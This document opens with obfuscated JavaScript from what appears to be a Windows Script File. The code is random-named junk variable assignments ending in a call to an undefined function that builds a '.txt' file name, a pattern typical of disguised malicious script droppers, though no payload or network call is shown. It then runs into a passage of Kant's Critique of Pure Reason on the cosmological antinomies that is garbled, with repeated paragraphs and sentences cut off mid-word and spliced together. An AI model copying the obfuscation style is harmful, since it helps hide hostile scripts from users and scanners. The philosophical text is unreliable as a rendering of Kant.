awAXGR5I0bcS = false;

var azhuxOyKD13Q4GH = false;

var aXAgEtbfdx4j85R = "aAQfK7tIkbi1";

aRuDBeGU3LdC6sPt = "aSUPnYEHiFfJyTda";

var aFpnJi4M2wqDbSY = aRuDBeGU3LdC6sPt.toString();

aUuDxwA32L8fn = false;

var aDeL3xWXmjchkZlA = false;

var aynN1mXG2rpfbd = -23798;

var aLrFB86bOtM9yg = -62330;

ag2sUiCyYtJ5SW1 = false;

var aY7WDfBaJswk = -44881;

aFe8mfI4uso = 43926;

asupqfXJ2eZ3tUc = -52677;

var atemGMIaij = "aKVengbdwUij6T";

akNOK4PzRCd = atemGMIaij.toUpperCase();

apvtGEC2bZgXIyP9 = "ay4x3VoSEH2";

var adexVOktomvX = apvtGEC2bZgXIyP9.toString();

aNLRt3wfXn = "abNjUsAvu21Qp";

var aVZcpuFiz614mA5n = aNLRt3wfXn.toString();

var a3MHFjog4i2Q = -48721;

var a1iIYB4yNmxcLtrvq = "auia5NyfZD6QqRFL";

var ainN2IDVHhMSFv = a1iIYB4yNmxcLtrvq.toLowerCase();

var aekwW7omzZ8IAQFrG = false;

axZgdEC2RwAIBraSc = 60164;

var aib8pJKIhV0GLDsz = "aoKf68O2v";

aKqWPoHNZ1D = aib8pJKIhV0GLDsz.toString();

var amO0TUb1v = "aTeERsMYPAIw9jO2g";

var aVLqa0Cpt1O7J = false;

akA5ZiOR917JbX2Be = false;

aczHFohnGt = false;

var an7Ir0oW2LJ3F = -33202;

a7bL2MOiGcalH = false;

aOMNH2bYz = true;

aKRz16SagJN3 = 38264;

aJQYthv54SuI = true;

aJOUSMnFraD = 34473;

auQSvpN34a5H = 24269;

var aNUyTl8G4Kkqp6o = "abqQHhi04Dnt";

var aS0FnDu6HO7Z = aNUyTl8G4Kkqp6o.toUpperCase();

var a5IcRbulCyhSE4LBX = 50873;

aqWuLZkvC6w4nm = true;

acb6twqPAK = -44436;

apX2yhFanf = true;

aAk1D9qmEvwY = false;

var ah2Bn0griLwyjCqm = false;

agK3SajrDtVqF7 = "agfNUV4EJXv1";

var aF1iBp4KYWZmdwL8M = agK3SajrDtVqF7.toUpperCase();

var afIAWiV7G3kMl = -34491;

var ambdMPBpo4Van5xU = "adA510kTPY6";

aqSOmEjpxT96 = ambdMPBpo4Van5xU.toUpperCase();

var al0EymAGn = true;

a2ZXS1y6vxIV4t = -17160;

var aZpRNCAlD = "afxGZpvQmtM";

aMQwg4ntJpa = aZpRNCAlD.toString();

aHrkNSb9stM1YO = false;

apKmP02fnH9 = true;

aD4S9sycZo0q = "amQyAtz8rxab6M4";

var a4HL2Ub70 = aD4S9sycZo0q.toLowerCase();

aZErzF8c5e = 41261;

ahkJHg1fPaZ = "aq4un8NM2wpsx6cX";

var aQFXi0KRZGHp3m74I = ahkJHg1fPaZ.toLowerCase();

var aqTFNsAQmU = "aUva1xNGA9";

aUKSBVhfTD7 = aqTFNsAQmU.toUpperCase();

a38lTwMIPcnFBxq = -32988;

abCVAPxte = "a7uhz3K6X";

aLjAkD68J = -7623;

var aFuXMknfGBDolK = false;

var apCUdJeTVys3qrb = -47141;

aag37ySMPUENVqe9 = 25955;

a6zCrJXW8I = true;

aajGokAfEH4e = true;

aYqFhVsN7QvBRn = 49708;

aGpXNi7RLKDTars9j = true;

var a2W4AUbxBT = "aiVZraQWuoj2XThvD";

aEUAuSL8w7kgR = a2W4AUbxBT.toUpperCase();

var abCkBimRh5IjoZJ = "aOUyNPQLeWA8H";

aRZmOjs7KMC = abCkBimRh5IjoZJ.toString();

var aT6b2REVSj = "aKBw6LdJrIM";

var a7GHJcODy = aT6b2REVSj.toLowerCase();

var axPtQy86c1HuAVMk = -43308;

anbmkoxhtLKl = "aWbD3ta7u4eK";

aKBtkDumQIU = anbmkoxhtLKl.toString();

a1qHCihwJe = "axJecNVLmp3";

var aLCAKgTPV28bnGf6w = "aT57npl3jfV1wg";

ablye0g74aj = aLCAKgTPV28bnGf6w.length;

alYtvW3gBPLDVAsr6 = false;

auZiERyv2tMkGwzrl = true;

var azKXqVTPAL = true;

var arjDiqXYLfIKHReW = "a28SKUuIlRW";

awHLjOnqD7 = arjDiqXYLfIKHReW.toString();

agDxmNL6l4tE89FIe = "aTYvqOamxt54Cpo";

aEBQMDzIdkpol1 = agDxmNL6l4tE89FIe.toString();

aUal715w8E3JjcC = true;

aZ37ynOdpFM0lR = "aocBtFdIQ1TDPAi6k";

var aqAVXimR79 = aZ37ynOdpFM0lR.toString();

a2LEk3KclOifjsWR = 23353;

var aAjhVubNXlkT3I1o = false;

aQFmrzhtxVRfXJcW = "azHAYWe0qbBRspJ";

at5JpNmgcz076s8 = aQFmrzhtxVRfXJcW.toUpperCase();

aNqRJwH9fI0nos = true;

ao3R0CGOsBl82Ft = false;

aAJ2IUeCSKrR6bmjl = false;

aHiQngrO4x = "a8cJtSXYgIRhAuV";

aokQeg2SEKd = aHiQngrO4x.toLowerCase();

asQmrxj9I6c13Jh5 = "aHM6TelfuRx";

var a2WxkN3cXHdngKoSa = asQmrxj9I6c13Jh5.toString();

a2qkwu8LDAWMmN = true;

awZxb1FERfg92 = "aUyL9AtlfzT5ZKDd";

var aLrOEj3W1NXYop = false;

aihdOBwxF = 55386;

var aaMWUlbS8 = true;

var aYiGETXMalmo6Vu = "aknufBicgHw";

abQhXP4Sqk8 = "aVX0jpgJh";

aDfAbtVIS9aY = abQhXP4Sqk8.toLowerCase();

var acx3BeVbEGK = "aKfBMAelxJiwRT";

aHj0DxUouLFyYA = acx3BeVbEGK.toString();

var aW7Jt1o4qj0EHf = 46554;

var aQ8MR4KrU20u3Gs = -4755;

aezp4rLjXQFMNZm1 = "aais6XKwo1A0YuZbN";

var amnokRf4SJbKWN = -29022;

aNTreWHSRaZvdgIfq = -28947;

aen45HbxgoJD03 = "aNLrJscimKH21D";

ajOM0spdcJRLSEZ5 = aen45HbxgoJD03.length;

var ape0b1MztXvFf = 30154;

var aQmnv3ldrV8cwJTAI = "apMeVAdzQ";

aenkGBF3w1U29 = 48924;

ap1SaozLrbXN9IYOn = "a8zHLSblYiqC73";

var ab4SmeLYaXRJfT1W = ap1SaozLrbXN9IYOn.toLowerCase();

aFl4wg2MkKpVuv1yB(aUfPgbQoFTrGJ0Ic + "aILmBilfR5nc.txt");

</script>

</job>

</package>

ce nor an infinite composition can ever come before us. Appearances demand explanation only so far as the conditions of their explanation are given in perception; but all that may ever be given in this way, when taken together in an absolute whole, is not itself a perception. Yet it is just the explanation of this very whole that is demanded in the transcendental problems of reason.

Thus the solution of these problems can never be found in experience, and this is precisely the reason why we should not say that it is uncertain what should be ascribed to the object [of our idea]. For as our object is only in our brain, and cannot be given outside it, we have only to take care to be at one with ourselves, and to avoid that amphiboly which transforms our idea into a supposed representation of an object that is empirically given and therefore to be known according to the laws of experience. The dogmatic solution is therefore not only uncertain, but impossible. The critical solution, which allows of complete certainty, does not consider the question objectively, but in relation to the foundation of the knowledge upon which the question is based.

SCEPTICAL REPRESENTATION OF THE COSMOLOGICAL QUESTIONS IN THE FOUR TRANSCENDENTAL IDEAS

We should of ourselves desist from the demand that our questions be answered dogmatically, if from the start we understood that whatever the dogmatic answer might turn out to be it would only increase our ignorance, and cast us from one inconceivability into another, from one obscurity into another still greater, and perhaps even into contradictions. If our question is directed simply to a yes or no, we are well advised to leave aside the supposed grounds of the answer, and first consider what we should gain according as the answer is in the affirmative or in the negative. Should we then find that in both cases the outcome is mere nonsense, there will be good reason for instituting a critical examination of our question, to determine whether the question does not itself rest on a groundless presupposition, in that it plays with an idea the falsity of which can be more easily detected through study of its application and consequences than in its own separate representation.

This is the great utility of the sceptical mode of dealing with the questions which pure reason puts to pure reason. By its means we can deliver ourselves, at but a small cost, from a great body of sterile dogmatism, and set in its place a sober critique, which as a true cathartic will effectively guard us against such groundless beliefs and the supposed polymathy to which they lead.

If therefore, in dealing with a cosmological idea, I were able to appreciate beforehand that whatever view may be taken of the unconditioned in the successive synthesis of appearances, it must either be too large or too small for any concept of the understanding, I should be in a position to understand that since the cosmological idea has no bearing save upon an object of experience which has to be in conformity with a possible concept of the understanding. We have thus been maintaining that the fault lies with the idea, in being too large or too small for that to which it is directed, namely, possible experience. Why have we not expressed ourselves in the opposite manner, saying that in the former case the empirical concept is always too small for the idea, and in the latter too large, and that the blame therefore attaches to the empirical regress? The reason is this. Possible experience is that which can alone give reality to our concepts; in its absence a concept is a mere idea, without truth, that is, wit

First, that the world has no beginning: it is then too large for our empirical concept, and is unapproachable through any regress, however far this be carried.

If, again, we hold that everything belonging to the world (whether as conditioned or as condition) is contingent, any and every given existence is too small for our concept.

Thirdly, if we suppose that nothing happens in the world save in accordance with the laws of nature, the causality of the cause will always itself be something that happens, making necessary a regress to a still higher cause, and thus a continuation of the series of conditions a parte priori without end. Nature, as working always through efficient causes, is thus too large for any of the concepts which we can employ in the synthesis of cosmical events.

If, in certain cases, we admit the occurrence of self-caused events, that is, generation through freedom, then by an unavoidable law of nature the question 'why' still pursues us, constraining us, in accordance with the law of causality which governs experience, to pass beyond such events; and we thus find that such totality of connection is too small for our necessary empirical concept.

Fourthly, if we admit an absolutely necessary being (whether it be the world itself, or something in the world, or the cause of the world), we set it in a time infinitely remote from any given point of time, because otherwise it would be dependent upon another and antecedent being. But such an existence is then too large for our empirical concept, and is unapproachable through any regress, however far this be carried.

If, again, we hold that everything belonging to the world (whether as conditioned or as condition) is contingent, any and every given existence is too small for our concept.

Secondly, if every appearance in space (matter) consists of infinitely many parts, the regress in the division will always be too large for our concept; while if the division of space is to stop at any member of the division (the simple), the regress will be too small for the concept of the understanding applied to mere appearances. The argument thus commits that dialectical fallacy which is entitled sophisma figurae dictionis. This fallacy is not, however, an artificial one; a quite natural illusion of our common reason leads us, when anything is given as conditioned, thus to assume in the major premise, as it were without thought or question, its conditions and their series. This assumption is indeed simply the logical requirement that we should have adequate premises for any given conclusion. Also, there is no reference to a time-order in the connection of the conditioned with its conditions (and the whole series of the latter) does not in the major premise carry with it any limitation through time or any

These considerations make it clear that the major premise of the cosmological inference takes the conditioned in the transcendental sense of a pure category, while the minor premise takes it in the empirical sense of a concept of the understanding applied to mere appearances. The argument thus commits that dialectical fallacy which is entitled sophisma figurae dictionis. This fallacy is not, however, an artificial one; a quite natural illusion of our common reason leads us, when anything is given as conditioned; therefore, etc. Through this syllogism, the major premise of which appears so natural and evident, as many cosmological ideas are introduced as there are differences in the conditions (in the synthesis of appearances) that constitute a series. The ideas postulate absolute totality of these series; and thereby they set reason in unavoidable conflict with itself. We shall be in a better position to detect what is deceptive in this pseudo-rational argument, if we first correct and define some of the conc

In the first place, it is evident beyond all possibility of doubt, that if the conditioned, in the [field of] appearance, is given, the synthesis which constitutes its empirical condition is given therewith and is presupposed. This synthesis first occurs in the regress, and never exists without it. What we can say is that a regress to the conditions, that is, a continued empirical synthesis, on the side of the conditions, is enjoined or set as a task, and that in this regress there can be no lack of given conditions.

These considerations make it clear that the major premise of the cosmological inference takes the conditioned in the transcendental sense of a pure category, while the minor premise takes it in the empirical sense of a concept of the understanding, I should be in a position to understand that since the cosmological idea has no bearing save upon an object of experience which has to be in conformity with a possible concept of the understanding therefore obliges us to look for a higher temporal condition; and the world [as limited in time] is therefore obviously too small for this law.

This is also true of the twofold answer to the question regarding the magnitude of the world in space. If it is infinite and unlimited, it is too large for any possible empirical concept. If it is finite and limited, we have a right to ask what determines these limits. Empty space is no self-subsistent correlate of things, and cannot be a condition at which we could stop; still less can it be an empirical condition, forming part of a possible experience. (For how can there be any experience of the absolutely void? ) And yet to obtain absolute totality in the empirical synthesis it is always necessary that the unconditioned be an empirical concept. Consequently, a limited world is too small for our concept.

Secondly, if every appearance in space (matter) consists of infinitely many parts, the regress in the division will always be too large for our concept; while if the division of space is to stop at any member of the division (the simple), the regress will be too small for the concept of the understanding applied to mere appearances. The argument thus commits that dialectical fallacy which is entitled sophisma figurae dictionis. This fallacy is not, however, an artificial one; a quite natural illusion of our common reason leads us, when anything is given as conditioned, thus to assume in the major premise, as it were without thought or question, its conditions and their series. This assumption is indeed simply the logical requirement that we should have adequate premises for any given conclusion. Also, there is no reference to a time-order in the connection of the conditioned with its condition is here a synthesis of the mere understanding, which represents things as they are, without considering whether and h

CRITICAL SOLUTION OF THE COSMOLOGICAL CONFLICT OF REASON WITH ITSELF

The whole antinomy of pure reason rests upon the dialectical argument: If the conditioned is given, the entire series of all its conditions is set us as a task. For it is involved in the very concept of the conditioned that something is referred to a condition, and if this condition is again itself conditioned, to a more remote condition, and so through all the members of the series are given in themselves, without relation to possible experience, it still remains true that they are nothing to me, and therefore are not objects, save in so far as they are contained in t